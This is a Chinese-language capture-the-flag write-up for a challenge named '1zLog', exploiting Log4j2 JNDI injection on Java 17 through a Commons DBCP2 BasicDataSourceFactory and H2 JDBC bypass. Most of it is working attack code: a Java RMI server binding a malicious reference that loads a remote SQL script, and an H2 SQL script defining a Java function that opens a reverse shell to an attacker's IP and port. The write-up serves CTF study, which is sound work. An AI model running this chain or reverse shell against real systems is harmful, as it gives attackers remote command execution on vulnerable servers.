Springctf 1zLog
题目名称是1zlog,大概率是和log4j2有关,关于log4j2,它是java日志记录框架,漏洞的主要成因就是log4j2会将${}里的内容单独处理,也就是去调用lookup进行查找,这时就会产生jndi注入。
先把jar包放到jadx或者jd-gui里,反编译一下,进行代码审计。

这里便是利用点。
既然是jndi注入又是高版本java17,我的第一想法是看看是不是用tomcat起的服务,这样的话,能不能用BeanFactory打一波

很显然不是
这时候我们需要去看一下依赖包有哪些,有哪些可以利用的东西。

有两个很可疑的依赖包。
主要利用就看这篇文章就好
JDBC Attack与高版本JDK下的JNDI Bypass – 奇安信技术研究院
主要就是利用BasicDataSourceFactory远程加载sql语句,执行命令。

然后我们就开始写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.StringRefAddr; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.sql.Ref; public class JNDIserve { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { System.setProperty("java.rmi.server.hostname","ip"); Registry registry = LocateRegistry.createRegistry(1099); Reference ref = new Reference("javax.sql.DataSource","org.apache.commons.dbcp2.BasicDataSourceFactory",null); String url = "http://ip:8888/evil.sql"; String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=RUNSCRIPT FROM '" + url + "'"; ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); ref.add(new StringRefAddr("url", JDBC_URL)); ref.add(new StringRefAddr("username", "root")); ref.add(new StringRefAddr("password", "password")); ref.add(new StringRefAddr("initialSize", "1")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit",referenceWrapper); } }
|
本地执行,生成class文件放到,vps下。

执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| -- 清理旧别名 DROP ALIAS IF EXISTS SHELL;
-- 创建一个新的恶意函数,这次我们在 Java 内部实现反弹 Shell 逻辑 CREATE ALIAS SHELL AS $$ import java.io.*; import java.net.*; import java.util.*;
@CODE String shell(String ip, int port) throws Exception { // 1. 启动 /bin/sh 进程 (因为没有 bash) String[] cmd = {"/bin/sh"}; Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); // 2. 连接攻击者的监听端口 Socket s = new Socket(ip, port); // 3. 对接输入输出流 (实现管道) InputStream pi = p.getInputStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); // 4. 循环转发数据 while(!s.isClosed()) { while(pi.available() > 0) so.write(pi.read()); while(si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) {} } p.destroy(); s.close(); return "Connected"; } $$;
-- 调用函数,填入你的公网 IP 和监听端口 CALL SHELL('ip', 9999);
|
用sh执行反弹shell,让ai写了个反弹shell的sql代码
用python开个服务


发包

拿到flag